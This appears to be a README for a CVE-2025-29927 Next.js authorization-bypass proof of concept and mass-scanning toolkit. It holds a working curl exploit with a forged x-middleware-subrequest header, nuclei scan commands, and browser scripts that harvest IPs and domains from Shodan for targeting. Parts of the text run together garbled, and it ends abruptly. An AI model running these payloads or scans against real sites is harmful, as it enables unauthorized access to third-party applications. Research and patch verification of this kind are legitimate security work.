
Proof-of-concept and mass scanning toolkit for CVE-2025-29927, a Next.js middleware authorization bypass via forged x-middleware-subrequest header. Includes nuclei templates and Python scanner.
Summary: vulnerability in Next.js middleware allowing authorization bypass by spoofing the
x-middleware-subrequestheader.
Performed a search in Shodan using the filter http.headers:"x-middleware-rewrite" and collected a list of 1000 domains
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();
Context and background In early versions of Next.js, middleware could make internal (sub-)requests to the application itself. To prevent recursion, the framework introduced service HTTP headers — internal markers that indicated "this request has already been processed." This approach was practical and allowed avoiding infinite loops within the middleware pipeline.
Evolution of middleware and payloads Before Next.js 12.2, middleware were placed as _middleware inside pages/ and could be nested (pages/_middleware, pages/dashboard/_middleware, etc.). The payload could specify a specific path (x-middleware-subrequest: pages/dashboard/_middleware). From 12.2 onwards, middleware became middleware.js/ts and no longer lived in pages/. In this case, a simple payload x-middleware-subrequest: middleware (or src/middleware when using src/) often worked. Later versions (≥ 13.2.0) introduced additional checks, including MAX_RECURSION_DEPTH; some bypasses used repeated values like middleware:middleware:... to simulate a nested chain. In practice: the exact payload format depends on the Next.js version and project structure.
Fix history and the problem with x-middleware-subrequest-id The initial quick patch included an idea with an internal identifier — x-middleware-subrequest-id — which was generated and validated at runtime to distinguish valid internal subrequests from forgeries. However, the implementation showed a side effect: this internal ID could leak to the outside (appearing in outgoing fetch/requests), creating a new risk. Additionally, the signing/synchronization of identifiers proved unreliable in environments with multiple CDN/PoP and mixed runtimes (Edge vs Node). As a result, the code with x-middleware-subrequest-id was removed/refactored; the final solution is a combination of patches in Next.js and platform-level mitigations (filtering incoming internal headers at the ingress/edge level).
CVE-2025-29927x-middleware-subrequest. An external client can set this header and bypass access controls.x-middleware-subrequest when making access decisions. The field was originally intended for internal framework operations, but external requests can set this header, allowing authorization bypass.The following version ranges are vulnerable:
>= 11.1.4 and < 12.3.5>= 13.0.0 and < 13.5.9>= 14.0.0 and < 14.2.25>= 15.0.0 and < 15.2.39.1 (CRITICAL)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ngit clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# without header — expect denial (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20
# with spoofed header — if vulnerable, returns 200 + body
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20
/_next/static/, package.json, headers, favicon hash) — safe mode.x-middleware-subrequest and compares response. Mandatory rate-limit and throttle.Example command:
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# active (controlled)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
x-middleware-subrequest header → compare status and body.--concurrency, --delay, --dry-run, --respect-robots.aiohttp / asyncio for high performance.Short pseudocode: